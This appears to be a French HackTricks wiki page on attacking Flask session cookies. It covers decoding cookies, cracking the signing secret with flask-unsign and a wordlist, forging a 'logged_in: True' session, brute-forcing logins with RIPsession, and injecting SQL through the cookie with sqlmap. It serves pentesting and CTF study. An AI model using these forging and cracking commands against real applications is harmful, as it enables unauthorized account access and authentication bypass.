mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 09:03:30 +00:00
118 lines
7.6 KiB
Markdown
118 lines
7.6 KiB
Markdown
# Flask
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Utilisez [**Trickest**](https://trickest.io/) pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
|
|
Obtenez l'accès aujourd'hui :
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
**Probablement, si vous jouez à un CTF, une application Flask sera liée à** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
|
|
|
|
## Cookies
|
|
|
|
Le nom de session de cookie par défaut est **`session`**.
|
|
|
|
### Décodeur
|
|
|
|
Décodeur de cookies Flask en ligne : [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
|
|
|
|
#### Manuel
|
|
|
|
Obtenez la première partie du cookie jusqu'au premier point et décodez-la en Base64>
|
|
```bash
|
|
echo "ImhlbGxvIg" | base64 -d
|
|
```
|
|
Le cookie est également signé à l'aide d'un mot de passe.
|
|
|
|
### **Flask-Unsign**
|
|
|
|
Outil en ligne de commande pour récupérer, décoder, forcer et créer des cookies de session d'une application Flask en devinant les clés secrètes.
|
|
|
|
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
|
```bash
|
|
pip3 install flask-unsign
|
|
```
|
|
#### **Décoder un Cookie**
|
|
|
|
---
|
|
|
|
Il est possible de décoder un cookie Flask en utilisant la bibliothèque `itsdangerous`. Cette bibliothèque est utilisée par Flask pour signer les cookies et les tokens.
|
|
|
|
Voici un exemple de code pour décoder un cookie Flask :
|
|
|
|
```python
|
|
from itsdangerous import URLSafeTimedSerializer
|
|
|
|
s = URLSafeTimedSerializer(app.secret_key)
|
|
decoded_data = s.loads(cookie_value)
|
|
```
|
|
|
|
Dans cet exemple, `app.secret_key` est la clé secrète de l'application Flask et `cookie_value` est la valeur du cookie à décoder.
|
|
|
|
Le résultat de la fonction `s.loads()` est un objet Python contenant les données du cookie.
|
|
```bash
|
|
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
|
|
```
|
|
#### **Brute Force**
|
|
|
|
Le Brute Force
|
|
```bash
|
|
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
|
|
```
|
|
#### **Signature**
|
|
|
|
Une signature est un moyen de garantir l'intégrité et l'authenticité des données. Elle est généralement utilisée pour vérifier que les données n'ont pas été altérées et qu'elles ont été créées par une source de confiance. Flask prend en charge la signature des cookies et des sessions pour garantir que les données ne sont pas altérées.
|
|
|
|
La signature des cookies est activée par défaut dans Flask. Cela signifie que toutes les données stockées dans les cookies sont signées et que Flask vérifie automatiquement la signature lorsqu'un cookie est reçu. Si la signature ne correspond pas, Flask considère le cookie comme invalide et le supprime.
|
|
|
|
La signature des sessions est également activée par défaut dans Flask. Cela signifie que toutes les données stockées dans la session sont signées et que Flask vérifie automatiquement la signature lorsqu'une session est reçue. Si la signature ne correspond pas, Flask considère la session comme invalide et la supprime.
|
|
```bash
|
|
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
|
|
```
|
|
#### Signature avec des versions anciennes (legacy)
|
|
```bash
|
|
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
|
```
|
|
### **RIPsession**
|
|
|
|
Outil en ligne de commande pour effectuer une attaque de force brute sur des sites web en utilisant des cookies créés avec flask-unsign.
|
|
|
|
{% embed url="https://github.com/Tagvi/ripsession" %}
|
|
```bash
|
|
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
|
```
|
|
### SQLi dans le cookie de session Flask avec SQLmap
|
|
|
|
[**Cet exemple**](../../pentesting-web/sql-injection/sqlmap/#eval) utilise l'option `eval` de sqlmap pour **signer automatiquement les charges utiles de sqlmap** pour Flask en utilisant un secret connu.
|
|
|
|
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Utilisez [**Trickest**](https://trickest.io/) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
|
Obtenez l'accès aujourd'hui :
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|